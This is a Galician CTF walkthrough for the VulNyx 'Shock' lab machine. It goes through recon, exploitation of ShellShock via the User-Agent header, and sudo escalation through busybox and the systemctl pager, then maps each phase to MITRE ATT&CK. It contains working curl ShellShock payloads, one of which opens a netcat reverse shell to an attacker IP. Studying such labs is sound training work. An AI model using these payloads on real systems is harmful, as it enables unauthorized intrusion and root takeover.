Ir ao contido

Shock

Máquina virtual Shock

Fig. VulNyx Shock
Fig. Card VulNyx Shock

A máquina Shock é moi interesante porque...

  • Vulnerabilidade ShellShock (CVE-2014-6271) en Apache CGI
  • Inxección de comandos mediante User-Agent header
  • Script vulnerable: /cgi-bin/shell.sh
  • Cadea de escalada: www-data → [usuario] (busybox) → root (systemctl)
  • Abuso do pager less dentro de systemctl con !sh

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Shock -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Shock # 21(filtered),22,80
whatweb IP_VulNyx_Shock
curl -I IP_VulNyx_Shock

Fase 2 — Análise

# Enumeración de directorios web
dirb http://IP_VulNyx_Shock
# Descubrimos: /cgi-bin/ (403 Forbidden) ⇒ Posible vector ShellShock

# Busca de exploits para ShellShock
searchsploit shellshock

# Enumeración de scripts CGI dentro de cgi-bin
gobuster dir -u http://IP_VulNyx_Shock/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x sh,cgi
# Atopamos: shell.sh

# Comprobación da vulnerabilidade ShellShock
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://IP_VulNyx_Shock/cgi-bin/shell.sh
# ⇒ Obtemos listado de /etc/passwd, confirmando ShellShock

Fase 3 — Explotación

# Preparamos listener na máquina atacante
nc -lnvp 4444

# Explotación de ShellShock para obter reverse shell
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash IP_Atacante 4444'" http://IP_VulNyx_Shock/cgi-bin/shell.sh
# ⇒ Conseguimos reverse shell como www-data

Fase 4 — Post‑explotación

# Enumeración de permisos sudo
sudo -l
# User www-data may run the following commands on shock:
#     (user_sistema) NOPASSWD: /usr/bin/busybox

# Escalada horizontal de www-data → user_sistema mediante busybox
# Visitar https://gtfobins.github.io/ → busybox → sudo
sudo -u user_sistema /usr/bin/busybox sh

# Mellora da TTY shell
script /dev/null -c bash
cd /home/user_sistema
cat user.txt # ⇒ Flag de usuario conseguida

# Nova enumeración de permisos sudo como user_sistema
sudo -l
# User user_sistema may run the following commands on shock:
#     (root) NOPASSWD: /usr/bin/systemctl

# Explotación de systemctl con privilegios sudo
sudo /usr/bin/systemctl
# Dentro do pager (less), executamos:
!sh
# ⇒ Conseguimos shell de root

# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Shock

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Identificación de directorio cgi-bin e scripts vulnerables Enumeración web / descubrimento de aplicacións T1190 — Exploit Public-Facing Application
T1592 — Gather Victim Host Information
CWE-200 — Information Exposure; CWE-548 — Exposure of Information Through Directory Listing
Comprobación e confirmación da vulnerabilidade ShellShock Explotación de aplicación pública (ShellShock) T1190 — Exploit Public-Facing Application
T1059.004 — Command and Scripting Interpreter: Unix Shell
CWE-78 — OS Command Injection; CWE-94 — Improper Control of Generation of Code
3. Explotación Explotación de ShellShock para obter reverse shell Command Injection / reverse shell T1059.004 — Command and Scripting Interpreter: Unix Shell
T1071.001 — Application Layer Protocol: Web Protocols
CWE-78 — OS Command Injection
4. Post-explotación Escalada horizontal mediante busybox con permisos sudo Abuso de permisos sudo / movemento lateral T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1069 — Permission Groups Discovery
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control
Enumeración de permisos sudo como usuario user_sistema Discovery local T1069 — Permission Groups Discovery
T1083 — File and Directory Discovery
CWE-200 — Information Exposure
Abuso de systemctl con pager para escalada de privilexios Abuso de mecanismos de elevación / escape de pager T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1059.004 — Command and Scripting Interpreter: Unix Shell
T1611 — Escape to Host
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control